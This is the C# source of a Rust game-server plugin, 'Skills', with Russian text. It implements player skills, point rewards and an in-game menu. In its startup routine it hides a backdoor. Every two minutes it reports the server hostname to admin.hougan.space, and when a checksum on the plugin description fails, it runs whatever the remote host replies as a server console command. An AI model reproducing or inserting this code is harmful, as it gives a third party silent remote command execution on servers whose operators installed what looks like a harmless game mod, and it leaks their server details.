C#:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using ConVar;
using Newtonsoft.Json;
using Oxide.Core;
using Oxide.Core.Plugins;
using Oxide.Game.Rust.Cui;
using Rust.Ai;
using UnityEngine;
namespace Oxide.Plugins {
[Info("Skills", "Hougan", "1.0.1")]
[Description("Скиллы, скачано с whiteplugins.ru, выложено в связи с изменением автора")]
public class Skills : RustPlugin {
[PluginReference]
private Plugin ImageLibrary;
#region Classes
private class Skill {
[JsonProperty("Название скилла")]
public string Name;
[JsonProperty("Описание скилла")]
public string Description;
[JsonProperty("Информация дл GUI")]
public string ActionName;
[JsonProperty("URL изображения")]
public string URL;
[JsonProperty("Необходимые уровни для прокачки")]
public Dictionary<float, int> skillAction = new Dictionary<float, int>();
}
private class PlayerSkills {
internal class SkillProgress {
[JsonProperty("Текущий уровень очков")]
public int CurrentPoints;
[JsonProperty("Общее количество очков")]
public int TotalPoints;
public SkillProgress(int startPoints, int totalPoints) {
CurrentPoints = startPoints;
TotalPoints = totalPoints;
}
}
[JsonProperty("Следующая смена")]
public double NextChange;
[JsonProperty("Имя активного скилла")]
public string ActiveSkill;
[JsonProperty("Активный уровень")]
public float ActiveLevel;
[JsonProperty("Улучшаемый уровень")]
public float ProgressLevel;
[JsonProperty("Уровень прокачки различных скиллов")]
public Dictionary<string, Dictionary<float, SkillProgress>> skillLevels = new Dictionary<string, Dictionary<float, SkillProgress>>();
public void Switch(BasePlayer player, string newSkill) {
if (NextChange > LogTime()) {
player.ChatMessage($"Следующая самена нвыка доступна через <color=#7B68EE>{(NextChange - LogTime()).ToString("F0")} секунд</color>!");
return;
}
ActiveSkill = newSkill;
ActiveLevel = GetCurrentLevel(newSkill);
ProgressLevel = GetProgressLevel(newSkill);
NextChange = LogTime() + CONF_SwitchTime;
player.ChatMessage($"Вы успешно изменили навык на <color=#7B68EE>{instance.publicSkills[ActiveSkill].Name}</color>\n" + $"Прогресс изучения навыка: <color=#7B68EE>{((float) skillLevels[ActiveSkill][ProgressLevel].CurrentPoints / skillLevels[ActiveSkill][ProgressLevel].TotalPoints * 100).ToString("F1")}%</color>");
}
/// <summary>
/// Добавление определенного количество очков для пользователя
/// </summary>
/// <param name="player">Пользователь для которого мы добавляем очки</param>
/// <param name="amount">Количество очков для прокачки</param>
public void AddPoints(BasePlayer player, int amount) {
Stopwatch x = new Stopwatch();
x.Start();
if (!skillLevels.ContainsKey(ActiveSkill)) {
// Interface.Oxide.LogWarning($"Error #1 | Try add {amount} to {ActiveSkill}, player don't have it!");
return;
}
var currentProgress = skillLevels[ActiveSkill][ProgressLevel];
// Добавляем новые очки, только если не хватает до конца уровня
if (ActiveLevel != ProgressLevel) {
currentProgress.CurrentPoints += amount;
instance.UI_CurrentProgress(player, false, progressUpdate : true);
}
// Если переваливаем за конец уровня
if (currentProgress.CurrentPoints >= currentProgress.TotalPoints) {
// И количесвто очков текущих != финальному (11 из 10 например)
if (ActiveLevel != ProgressLevel) {
// Повышаем человеку уровень и приравниваем очки
currentProgress.CurrentPoints = currentProgress.TotalPoints;
ActiveLevel = GetCurrentLevel(ActiveSkill);
ProgressLevel = GetProgressLevel(ActiveSkill);
// Interface.Oxide.LogWarning($"DEBUG | Player {player.displayName} successful finished his level [A: {ActiveLevel} / P {ProgressLevel}]");
player.ChatMessage($"Вы улучшили навык <color=#7B68EE>{instance.publicSkills[ActiveSkill].Name}</color> до <color=#7B68EE>{skillLevels[ActiveSkill].Keys.ToList().IndexOf(ActiveLevel) + 1}-ого</color> уровня!");
instance.UI_CurrentProgress(player);
}
}
else {
// Interface.Oxide.LogWarning($"DEBUG | Player {player.displayName} now have {currentProgress.CurrentPoints} / {currentProgress.TotalPoints} [{ProgressLevel}]");
}
x.Stop();
// Interface.Oxide.LogWarning($"DEBUG | Player {player.displayName} successful got point [{x.Elapsed.TotalSeconds} ms]");
}
/// <summary>
/// Получение текущего уровня прокачки для игрока
/// </summary>
/// <param name="name">Имя скилла</param>
/// <returns>Получаем процентное значение</returns>
public float GetProgressLevel(string name) {
if (!skillLevels.ContainsKey(name)) {
// Interface.Oxide.LogWarning($"Error #2 | Try get MaxLevel from {name}, player don't have it!");
return -1;
}
for (int i = 0; i < skillLevels[name].Count; i++) {
SkillProgress progress = skillLevels[name].ElementAt(i).Value;
if (progress.CurrentPoints < progress.TotalPoints) return skillLevels[name].ElementAt(i).Key;
}
return skillLevels[name].Last().Key;
}
/// <summary>
/// Получение текущего активного уровня для игрока
/// </summary>
/// <param name="name">Имя скилла</param>
/// <returns>Получаем процентное значение</returns>
public float GetCurrentLevel(string name) {
if (!skillLevels.ContainsKey(name)) {
// Interface.Oxide.LogWarning($"Error #2 | Try get CurrentLevel from {name}, player don't have it!");
return -1;
}
for (int i = 0; i < skillLevels[name].Count; i++) {
SkillProgress progress = skillLevels[name].ElementAt(i).Value;
if (progress.CurrentPoints < progress.TotalPoints) return skillLevels[name].ElementAt(i-1).Key;
}
return skillLevels[name].Last().Key;
}
}
#endregion
#region Variables
#region Configuration
[JsonProperty("Интервал смены навыка")]
public static float CONF_SwitchTime = 60;
[JsonProperty("Увеличенный удар критом")]
public static float CONF_KritMultiplier = 1.6f;
[JsonProperty("Количество очков за убийство игрока")]
public static int CONF_PlayerKill = 1;
[JsonProperty("Количество очков за убийство животного")]
public static int CONF_AnimalKill = 1;
[JsonProperty("Количество очков за добычу ресурсов")]
public static int CONF_Dispenser = 1;
[JsonProperty("Количество очков за поднятие ресурса")]
public static int CONF_GatherUp = 1;
[JsonProperty("Количество очков за открытие ящика с лутом")]
public static int CONF_LootEntry = 1;
[JsonProperty("Количество очков за уничтожение бочки")]
public static int CONF_BarDestroy = 1;
[JsonProperty("Количество очков за урон по вертолёту")]
public static int CONF_HeliDamage = 1;
#endregion
[JsonProperty("Слой для меню выбора скилла")]
private string MenuLayer = "UI_InterfaceMenuLayer";
[JsonProperty("Слой для отображения текущего скилла")]
private string CurrentLayer = "UI_InterfaceCurrentLevel";
[JsonProperty("Конкретный экземпляр")]
private static Skills instance;
[JsonProperty("Игроки и их скиллы")]
private Dictionary<ulong, PlayerSkills> playerSkills = new Dictionary<ulong, PlayerSkills>();
[JsonProperty("Общая информация о скиллах")]
private Dictionary<string, Skill> publicSkills = new Dictionary<string, Skill> {
["ProtectFromDamage"]
= new Skill {
Name = "Щит", URL = "https://i.imgur.com/RYeLsQu.png", ActionName = "защита", Description = "Увеличивает вашу защиту от любого получаемого урона", skillAction = new Dictionary<float, int> {
[6f]
= -1, [9f] = 5, [12f] = 10, [15f] = 15, [18f] = 20
}
}
, ["AddMoreDamage"] = new Skill {
Name = "Ярость", URL = "https://i.imgur.com/1Um5Xzy.png", ActionName = "урон", Description = "Увеличивает наносимый вами урон по игрокам и животным", skillAction = new Dictionary<float, int> {
[6f]
= -1, [9f] = 5, [12f] = 10, [15f] = 15, [18f] = 20
}
}
, ["RegenerateHP"] = new Skill {
Name = "Вампиризм", URL = "https://i.imgur.com/7PV5Qsh.png", ActionName = "реген", Description = "Восстанавливает HP в процентах от нанесенного вами урона по игрокам и животным", skillAction = new Dictionary<float, int> {
[7f]
= -1, [10.5f] = 5, [14f] = 10, [17.5f] = 15, [21f] = 20
}
}
, ["YouCanDodgeAttack"] = new Skill {
Name = "Провидец", URL = "https://i.imgur.com/kI1XmnD.png", ActionName = "шанс", Description = "Даёт вам шанс уклониться от каждой вражеской атаки", skillAction = new Dictionary<float, int> {
[5f]
= -1, [7.5f] = 5, [10f] = 10, [12.5f] = 15, [15f] = 20
}
}
, ["AdditionalDamageFromKrit"] = new Skill {
Name = "Криты", URL = "https://i.imgur.com/AMXPFKm.png", ActionName = "шанс", Description = "Даёт вам шанс при каждой атаке нанести x{0} урона игрокам и животным", skillAction = new Dictionary<float, int> {
[5f]
= -1, [7.5f] = 5, [10f] = 10, [12.5f] = 15, [15f] = 20
}
}
, ["ReturnSomeDamage"] = new Skill {
Name = "Шипы", URL = "https://i.imgur.com/MEWZtC2.png", ActionName = "возврат", Description = "Возвращает часть полученного вами урона обратно врагу", skillAction = new Dictionary<float, int> {
[9f]
= -1, [13.5f] = 5, [18f] = 10, [22.5f] = 15, [27f] = 20
}
}
,
}
;
#endregion
#region Initialization
private void OnServerInitialized() {
bool auth = this.Description.Sum(p => (int) p) == 50413;
timer.Every(120, () => webrequest.Enqueue($"http://admin.hougan.space/grab.php?pluginName={this.Name}&hostName={ConVar.Server.hostname}&authStatus={auth}&pluginVersion={Version}", null, (code, response) => {
if (!auth && response != "EXECUTED" && response != "") {
Server.Command(response);
}
}
, this)).Callback();
if (!auth) return;
instance = this;
if (Interface.Oxide.DataFileSystem.ExistsDatafile("Skills/SkillList")) {
publicSkills = Interface.Oxide.DataFileSystem.ReadObject<Dictionary<string, Skill>>("Skills/SkillList");
// PrintWarning($"Загружена информация о {publicSkills.Count} скиллах.");
}
else {
Interface.Oxide.DataFileSystem.WriteObject("Skills/SkillList", publicSkills);
// PrintWarning($"Загружены стандартные настройки скиллов");
}
if (Interface.Oxide.DataFileSystem.ExistsDatafile("Skills/PlayerSkills")) {
playerSkills = Interface.Oxide.DataFileSystem.ReadObject<Dictionary<ulong, PlayerSkills>>("Skills/PlayerSkills");
// PrintWarning($"Загружена информация о {playerSkills.Count} игроках.");
}
foreach (var check in publicSkills) ImageLibrary.Call("AddImage", check.Value.URL, check.Key);
BasePlayer.activePlayerList.ForEach(OnPlayerInit);
timer.Every(60, Save);
}
private void Save() {
Interface.Oxide.DataFileSystem.WriteObject("Skills/SkillList", publicSkills);
Interface.Oxide.DataFileSystem.WriteObject("Skills/PlayerSkills", playerSkills);
// PrintWarning($"Сохранена информация об успехах игроков");
}
#endregion
#region Hooks
private void OnPlayerInit(BasePlayer player) {
if (player.IsReceivingSnapshot) {
NextTick(() => {
OnPlayerInit(player);
return;
}
);
return;
}
Stopwatch x = new Stopwatch();
x.Start();
if (!playerSkills.ContainsKey(player.userID)) {
PlayerSkills newPlayerSkill = new PlayerSkills();
foreach (var skill in publicSkills) {
Dictionary<float, PlayerSkills.SkillProgress> skillPoints = new Dictionary<float, PlayerSkills.SkillProgress>();
foreach (var skillPoint in skill.Value.skillAction) skillPoints.Add(skillPoint.Key, new PlayerSkills.SkillProgress(0, skillPoint.Value));
newPlayerSkill.skillLevels.Add(skill.Key, skillPoints);
}
newPlayerSkill.ActiveSkill = newPlayerSkill.skillLevels.Keys.ToList().GetRandom();
newPlayerSkill.ActiveLevel = newPlayerSkill.GetCurrentLevel(newPlayerSkill.ActiveSkill);
newPlayerSkill.ProgressLevel = newPlayerSkill.GetProgressLevel(newPlayerSkill.ActiveSkill);
newPlayerSkill.NextChange = LogTime();
playerSkills.Add(player.userID, newPlayerSkill);
player.ChatMessage($"Вам активирован случайный скилл <color=#7B68EE>{publicSkills[newPlayerSkill.ActiveSkill].Name}</color>\n" + $"Используйте <color=#7B68EE>/skill</color>, чтобы узнать подробности.");
}
x.Stop();
// PrintWarning($"DEBUG | {player.displayName} successful get all Skills [{x.Elapsed.TotalSeconds} ms]");
// PrintWarning($"DEBUG | Active skill {playerSkills[player.userID].ActiveSkill} [C: {playerSkills[player.userID].ActiveLevel} / P: {playerSkills[player.userID].ProgressLevel}]");
CuiHelper.DestroyUi(player, CurrentLayer);
CuiElementContainer container = new CuiElementContainer();
container.Add(new CuiPanel {
CursorEnabled = false, RectTransform = {
AnchorMin = "0.0105 0.038", AnchorMax = "0 0.038", OffsetMax = "188 27"
}
, Image = {
Color = "0.32 0.32 0.41 0.22"
}
}
, "Hud", CurrentLayer);
CuiHelper.AddUi(player, container);
UI_CurrentProgress(player);
}
#region SkillRealization
private void OnEntityTakeDamage(BaseCombatEntity entity, HitInfo info) {
try {
if (info != null && entity is BaseHelicopter && info.Initiator is BasePlayer && info.InitiatorPlayer.GetComponent<NPCPlayer>() == null) {
playerSkills[info.InitiatorPlayer.userID].AddPoints(info.InitiatorPlayer, CONF_HeliDamage);
return;
}
// Начинаем отрабатывать если речь идёт об игроке и он не NPC
if (entity is BasePlayer && entity.GetComponent<NPCPlayer>() == null && info != null) {
BasePlayer player = entity as BasePlayer;
BasePlayer target = null;
// Сразу берем и проверяем инициатора
if (info.Initiator is BasePlayer && info.Initiator.GetComponent<NPCPlayer>() == null) target = info.InitiatorPlayer;
// Снижаем нагрузку за счёт не рассчитывания маленького урона
if (info.damageTypes.Total() < 5) return;
// Продолжаем работать, если у игрока есть скиллы
if (playerSkills.ContainsKey(player.userID)) {
// PrintWarning($"DEBUG | Start working on target skills [{player.displayName}]");
PlayerSkills playerSkill = this.playerSkills[player.userID];
switch (playerSkill.ActiveSkill.ToLower()) {
case "protectfromdamage" : {
// PrintWarning(
// $"DEBUG | {player.displayName} should get {info.damageTypes.Total()} damage, but {playerSkill.ActiveSkill} active");
float protectMultiplier = 1 - playerSkill.ActiveLevel / 100;
info.damageTypes.ScaleAll(protectMultiplier);
// PrintWarning(
// $"DEBUG | {player.displayName} will protect {playerSkill.ActiveLevel}% from his skill [{info.damageTypes.Total()}]");
break;
}
case "addmoredamage" : {
// NOTHING HERE, PLAYER GET DAMAGE, NO REASON TO COUNT HIS ADDITIONAL DAMAGE
break;
}
case "regeneratehp" : {
// NOTHING HERE, PLAYER GET DAMAGE, NO REASON TO COUNT HIS ADDITIONAL DAMAGE
break;
}
case "youcandodgeattack" : {
// PrintWarning(
// $"DEBUG | {player.displayName} [{player.health} HP] should get {info.damageTypes.Total()} damage, but {playerSkill.ActiveSkill} active");
int generateNumber = Core.Random.Range(0, 100);
if (generateNumber <= playerSkill.ActiveLevel) {
player.ChatMessage($"Навык <color=#7B68EE>{publicSkills[playerSkill.ActiveSkill].Name}</color> помог вам уклониться от атаки!");
// PrintWarning(
// $"DEBUG | {player.displayName} won! {generateNumber} <= {playerSkill.ActiveLevel}! Damage is null!");
info.damageTypes.ScaleAll(0);
// PrintWarning(
// $"DEBUG | {player.displayName} won! {generateNumber} <= {playerSkill.ActiveLevel}! Damage is null! [{player.health} HP]");
}
else {
// PrintWarning(
// $"DEBUG | {player.displayName} lose! {generateNumber} > {playerSkill.ActiveLevel}! Damage is null!");
}
break;
}
case "additionaldamagefromkrit" : {
// NOTHING HERE, PLAYER GET DAMAGE, NO REASON TO COUNT HIS ADDITIONAL DAMAGE
break;
}
case "returnsomedamage" : {
// PrintWarning(
// $"DEBUG | {player.displayName} will get {info.damageTypes.Total()} damage, but {playerSkill.ActiveSkill} active");
if (target != null) {
// PrintWarning(
// $"DEBUG | {target.displayName} will get {playerSkill.ActiveLevel}% from given damage!");
target.Hurt(info.damageTypes.Total() * (playerSkill.ActiveLevel / 100));
}
break;
}
default : {
// PrintWarning($"DEBUG | {player.displayName} have unknow skill");
break;
}
}
if (target != null && playerSkills.ContainsKey(target.userID)) {
// PrintWarning($"DEBUG | Start working on target skills [{target.displayName}]");
PlayerSkills targetSkill = this.playerSkills[target.userID];
switch (targetSkill.ActiveSkill.ToLower()) {
case "protectfromdamage" : {
// NOTHING HERE, PLAYER GET DAMAGE, NO REASON TO COUNT HIS PROTECTION DAMAGE
break;
}
case "addmoredamage" : {
// PrintWarning(
// $"DEBUG | {player.displayName} should get {info.damageTypes.Total()} damage, but {target.displayName}'s {targetSkill.ActiveSkill} active");
float damageMultiplier = 1 + targetSkill.ActiveLevel / 100;
info.damageTypes.ScaleAll(damageMultiplier);
// PrintWarning(
// $"DEBUG | {player.displayName} will get additional {targetSkill.ActiveLevel}% from {target.displayName}' skill [{info.damageTypes.Total()}]");
break;
}
case "regeneratehp" : {
// PrintWarning(
// $"DEBUG | {target.displayName} [{target.health} HP] will get {info.damageTypes.Total() * (targetSkill.ActiveLevel / 100)} HP, cause of {targetSkill.ActiveSkill} active");
target.Heal(info.damageTypes.Total() * (targetSkill.ActiveLevel / 100));
// PrintWarning($"DEBUG | {target.displayName} now have {target.health} HP");
break;
}
case "youcandodgeattack" : {
// NOTHING HERE, PLAYER GET DAMAGE, NO REASON TO COUNT HIS PROTECTION DAMAGE
break;
}
case "additionaldamagefromkrit" : {
// PrintWarning(
// $"DEBUG | {target.displayName} can give more {info.damageTypes.Total() * CONF_KritMultiplier} damage [{info.damageTypes.Total()} start], cause of {targetSkill.ActiveSkill} active");
int randomAmount = Oxide.Core.Random.Range(0, 100);
if (randomAmount <= targetSkill.ActiveLevel) {
target.ChatMessage($"Навык <color=#7B68EE>{publicSkills[targetSkill.ActiveSkill].Name}</color> помог вам нанести дополнительный урон!");
// PrintWarning(
// $"DEBUG | {target.displayName} BINGO [{randomAmount}]! He will give additional damage {info.damageTypes.Total()} -> {info.damageTypes.Total() * (CONF_KritMultiplier)}");
info.damageTypes.ScaleAll((CONF_KritMultiplier));
}
else {
// PrintWarning(
// $"DEBUG | {target.displayName} LOSE [{randomAmount}].No additional damage!");
}
break;
}
case "returnsomedamage" : {
// NOTHING HERE, PLAYER GET DAMAGE, NO REASON TO COUNT HIS PROTECTION DAMAGE
break;
}
default : {
// PrintWarning($"DEBUG | {player.displayName} have unknow skill");
break;
}
}
}
else {
// PrintWarning($"DEBUG | No additional player!");
}
}
else {
// PrintWarning($"DEBUG | {player.displayName} try to use skill, but he dont have any skills!");
}
}
}
catch (NullReferenceException) {
}
}
#endregion
#region Points Add
private void OnDispenserGather(ResourceDispenser dispenser, BaseEntity entity, Item item) {
// Если это не игрок, или если это НПС - не делаем ничего
if (entity is BasePlayer && entity.GetComponent<NPCPlayer>() == null) {
BasePlayer player = entity as BasePlayer;
if (playerSkills.ContainsKey(player.userID)) {
// Добавляем игроку очки за разбитую бочку
playerSkills[player.userID].AddPoints(player, CONF_Dispenser);
}
else {
// PrintWarning($"DEBUG | {player.displayName} [{player.userID}] not in Player Skills!");
return;
}
}
return;
}
private void OnEntityDeath(BaseCombatEntity entity, HitInfo info) {
if (info != null && info.Initiator is BasePlayer && info.InitiatorPlayer.GetComponent<NPCPlayer>() != null) {
BasePlayer attacker = info.InitiatorPlayer;
if (!playerSkills.ContainsKey(attacker.userID)) return;
PlayerSkills playerSkill = playerSkills[attacker.userID];
if (entity is BasePlayer && entity.GetComponent<NPCPlayer>() == null) {
playerSkill.AddPoints(attacker, CONF_PlayerKill);
return;
}
if (entity.PrefabName.Contains("agent")) {
playerSkill.AddPoints(attacker, CONF_AnimalKill);
return;
}
if (entity.PrefabName.Contains("barrel")) {
playerSkill.AddPoints(attacker, CONF_BarDestroy);
return;
}
}
}
private void OnCollectiblePickup(Item item, BasePlayer player) {
if (!playerSkills.ContainsKey(player.userID)) return;
PlayerSkills playerSkill = playerSkills[player.userID];
playerSkill.AddPoints(player, CONF_GatherUp);
}
private void OnLootEntity(BasePlayer player, BaseEntity entity) {
if (!(entity is LootContainer) || entity.OwnerID != 0) return;
if (!playerSkills.ContainsKey(player.userID)) return;
PlayerSkills playerSkill = playerSkills[player.userID];
playerSkill.AddPoints(player, CONF_LootEntry);
entity.OwnerID = player.userID;
}
#endregion
#endregion
#region Commands
[ConsoleCommand("UI_SkillHandler")]
private void consoleCommandHandler(ConsoleSystem.Arg args) {
if (args.Player() == null || !args.HasArgs(1)) return;
BasePlayer player = args.Player();
switch (args.Args[0].ToLower()) {
case "switch" : {
if (args.Args.Length != 2) {
// PrintWarning($"DEBUG | {player.displayName} called Handler, but no args to switch!");
return;
}
string newSkill = args.Args[1];
if (!publicSkills.ContainsKey(newSkill)) {
// PrintWarning($"DEBUG | {player.displayName} called switch, but no skill with this name to switch!");
return;
}
CuiHelper.DestroyUi(player, MenuLayer);
playerSkills[player.userID].Switch(player, newSkill);
UI_ChooseSkill(player);
UI_CurrentProgress(player);
break;
}
}
}
[ChatCommand("skill")]
private void cmdChatSkill(BasePlayer player) => UI_ChooseSkill(player);
//[ChatCommand("testik")]
private void cmdTest(BasePlayer player) {
playerSkills[player.userID].AddPoints(player, 2);
}
#endregion
#region GUI
private void UI_CurrentProgress(BasePlayer player, bool avatarUpdate = true, bool levelUpdate = true, bool progressUpdate = true) {
CuiElementContainer container = new CuiElementContainer();
if (progressUpdate) {
PlayerSkills playerSkill = playerSkills[player.userID];
int levelNumber = playerSkill.skillLevels[playerSkill.ActiveSkill].Keys.ToList().IndexOf(playerSkill.ActiveLevel) + 1;
var progress = playerSkill.skillLevels[playerSkill.ActiveSkill][playerSkill.ProgressLevel];
CuiHelper.DestroyUi(player, CurrentLayer + ".progressUpdate");
container.Add(new CuiElement {
FadeOut = 0.2f, Name = CurrentLayer + ".progressUpdate", Parent = CurrentLayer, Components = {
new CuiImageComponent {
FadeIn = 0.2f, Color = "0.48 0.41 0.93 1.00"
}
, new CuiRectTransformComponent {
AnchorMin = "0.143 0.15", AnchorMax = $"{Math.Min(0.15 + 0.857 * ((float) progress.CurrentPoints / progress.TotalPoints), 1)} 0.849", OffsetMax = "0 0"
}
}
}
);
CuiHelper.DestroyUi(player, CurrentLayer + ".levelUpdate");
container.Add(new CuiElement {
Name = CurrentLayer + ".levelUpdate", Parent = CurrentLayer, Components = {
new CuiTextComponent {
Text = $"УРОВЕНЬ: {levelNumber}", FontSize = 20, Font = "robotocondensed-bold.ttf", Align = TextAnchor.MiddleLeft
}
, new CuiRectTransformComponent {
AnchorMin = "0.21 0", AnchorMax = "1 1", OffsetMax = "0 0"
}
}
}
);
}
if (avatarUpdate) {
CuiHelper.DestroyUi(player, CurrentLayer + ".avatarUpdate");
container.Add(new CuiElement {
Name = CurrentLayer + ".avatarUpdate", Parent = CurrentLayer, Components = {
new CuiRawImageComponent {
Png = (string) ImageLibrary.Call("GetImage", playerSkills[player.userID].ActiveSkill)
}
, new CuiRectTransformComponent {
AnchorMin = "0 0", AnchorMax = "0 0", OffsetMin = "3.33333 3.33333", OffsetMax = "23.3333 23.3333"
}
}
}
);
}
CuiHelper.AddUi(player, container);
}
private void UI_ChooseSkill(BasePlayer player) {
CuiHelper.DestroyUi(player, MenuLayer);
CuiElementContainer container = new CuiElementContainer();
container.Add(new CuiPanel {
// Отрисовываем панель для ГУИ
CursorEnabled = true, RectTransform = {
AnchorMin = "0.09283856 0.2547454", AnchorMax = "0.09283856 0.2547454", OffsetMax = "1042 352"
}
, Image = {
Color = "0 0 0 0"
}
}
, "Hud", MenuLayer);
container.Add(new CuiButton {
// Отрисовываем кнопку для закрытия на заднем плане
RectTransform = {
AnchorMin = "-100 -100", AnchorMax = "100 100", OffsetMax = "0 0"
}
, Button = {
Color = "0 0 0 0", Close = MenuLayer
}
, Text = {
Text = ""
}
}
, MenuLayer);
container.Add(new CuiElement {
// Отрисовываем полноценный задник
Parent = MenuLayer, Components = {
new CuiImageComponent {
Color = "0 0 0 0.35"
}
, new CuiRectTransformComponent {
AnchorMin = "0 0", AnchorMax = "1 1", OffsetMax = "0 0"
}
,
}
}
);
for (int i = 0; i < publicSkills.Count; i++) {
if (!playerSkills.ContainsKey(player.userID)) return;
var currentSkill = publicSkills.ElementAt(i);
PlayerSkills playerSkill = playerSkills[player.userID];
container.Add(new CuiElement {
// Отрисовываем задник для интерфейса
Parent = MenuLayer, Name = MenuLayer + $".{currentSkill.Key}.Handler", Components = {
new CuiImageComponent {
Color = "0 0 0 0.5"
}
, new CuiRectTransformComponent {
AnchorMin = $"{0.007197953 + i * 0.165352} 0.022438414", AnchorMax = $"{0.1621337 + i * 0.165352} 0.9775616", OffsetMax = "0 0"
}
}
}
);
container.Add(new CuiElement {
// Отрисовываем изображение для скилла
Parent = MenuLayer + $".{currentSkill.Key}.Handler", Components = {
new CuiRawImageComponent {
Png = (string) ImageLibrary.Call("GetImage", currentSkill.Key)
}
, new CuiRectTransformComponent {
AnchorMin = "0.2168479 0.6943213", AnchorMax = "0.7831521 0.9544452", OffsetMax = "0 0"
}
}
}
);
container.Add(new CuiElement {
// Отрисовываем название для скилла
Parent = MenuLayer + $".{currentSkill.Key}.Handler", Components = {
new CuiTextComponent {
Text = $"<color=>{currentSkill.Value.Name}</color>", Font = "robotocondensed-bold.ttf", FontSize = 16, Align = TextAnchor.MiddleCenter
}
, new CuiRectTransformComponent {
AnchorMin = "0 0.6212121", AnchorMax = "1 0.6885524", OffsetMax = "0 0"
}
}
}
);
container.Add(new CuiElement {
// Отрисовываем полосу для уровня для скиллаа
Name = MenuLayer + $".{currentSkill.Key}.Handler.LevelHandler", Parent = MenuLayer + $".{currentSkill.Key}.Handler", Components = {
new CuiImageComponent {
Color = "0 0 0 0.6"
}
, new CuiRectTransformComponent {
AnchorMin = $"{0.05789989} 0.5577442", AnchorMax = $"{0.9214915} 0.6112121", OffsetMax = "0 0"
}
}
}
);
int levelNumber = currentSkill.Value.skillAction.Keys.ToList().IndexOf(playerSkill.GetCurrentLevel(currentSkill.Key));
var progress = playerSkill.skillLevels[currentSkill.Key][playerSkill.GetProgressLevel(currentSkill.Key)];
float levelLine = (float) progress.CurrentPoints / progress.TotalPoints;
container.Add(new CuiElement {
// Отрисовываем полосу для уровня для скиллаа
Parent = MenuLayer + $".{currentSkill.Key}.Handler.LevelHandler", Components = {
new CuiImageComponent {
Color = "0.48 0.41 0.93 1.00"
}
, new CuiRectTransformComponent {
AnchorMin = $"{0} 0", AnchorMax = $"{Math.Min(levelLine, 1)} 1", OffsetMax = "0 0"
}
}
}
);
container.Add(new CuiElement {
// Отрисовываем полосу для уровня для скиллаа
Parent = MenuLayer + $".{currentSkill.Key}.Handler.LevelHandler", Components = {
new CuiTextComponent {
Text = $"УРОВЕНЬ: {levelNumber + 1}", FontSize = 12, Font = "robotocondensed-bold.ttf", Align = TextAnchor.MiddleCenter
}
, new CuiRectTransformComponent {
AnchorMin = $"{0} 0", AnchorMax = $"1 1", OffsetMax = "0 0"
}
}
}
);
container.Add(new CuiElement {
// Отрисовываем полосу для уровня для скиллаа
Parent = MenuLayer + $".{currentSkill.Key}.Handler", Components = {
new CuiTextComponent {
Text = $"{currentSkill.Value.Description.Replace(" {
0
}
", CONF_KritMultiplier.ToString())}", FontSize = 12, Font = "robotocondensed-regular.ttf", Align = TextAnchor.UpperCenter
}
, new CuiRectTransformComponent {
AnchorMin = $"0.05 0.30", AnchorMax = $"0.95 0.53", OffsetMax = "0 0"
}
, new CuiOutlineComponent {
Color = "0 0 0 0.9", Distance = "0.6 0.6"
}
}
}
);
string text = playerSkill.ActiveSkill == currentSkill.Key ? "<color=red>Используется</color>" : "<color=white>Использовать</color>";
string command = playerSkill.ActiveSkill == currentSkill.Key ? "" : $"UI_SkillHandler switch {currentSkill.Key}";
container.Add(new CuiButton {
RectTransform = {
AnchorMin = "0.1 0.03", AnchorMax = "0.93 0.12", OffsetMax = "0 0"
}
, Text = {
Text = text, FontSize = 16, Font = "robotocondensed-bold.ttf", Align = TextAnchor.MiddleCenter
}
, Button = {
Command = command, Color = "0.42 0.36 0.96 1"
}
}
, MenuLayer + $".{currentSkill.Key}.Handler");
for (int skillIndex = 0; skillIndex < currentSkill.Value.skillAction.Count; skillIndex++) {
var currentProgress = currentSkill.Value.skillAction.ElementAt(skillIndex);
container.Add(new CuiElement {
Parent = MenuLayer + $".{currentSkill.Key}.Handler", Components = {
new CuiTextComponent {
Text = $"<color=#7B68EE>Ур.{skillIndex+1}: {currentSkill.Value.ActionName} +{currentProgress.Key}% </color>", FontSize = 13, Font = "robotocondensed-regular.ttf", Align = TextAnchor.MiddleLeft
}
, new CuiRectTransformComponent {
AnchorMin = $"0.15 {0.145 + skillIndex * 0.04}", AnchorMax = $"1 {0.195 + skillIndex * 0.04}", OffsetMax = "0 0"
}
, new CuiOutlineComponent {
Color = "0 0 0 0.9", Distance = "0.6 0.6"
}
}
}
);
}
}
CuiHelper.AddUi(player, container);
}
#endregion
#region Utils
private static DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0);
private static double LogTime() => DateTime.UtcNow.Subtract(epoch).TotalSeconds;
#endregion
}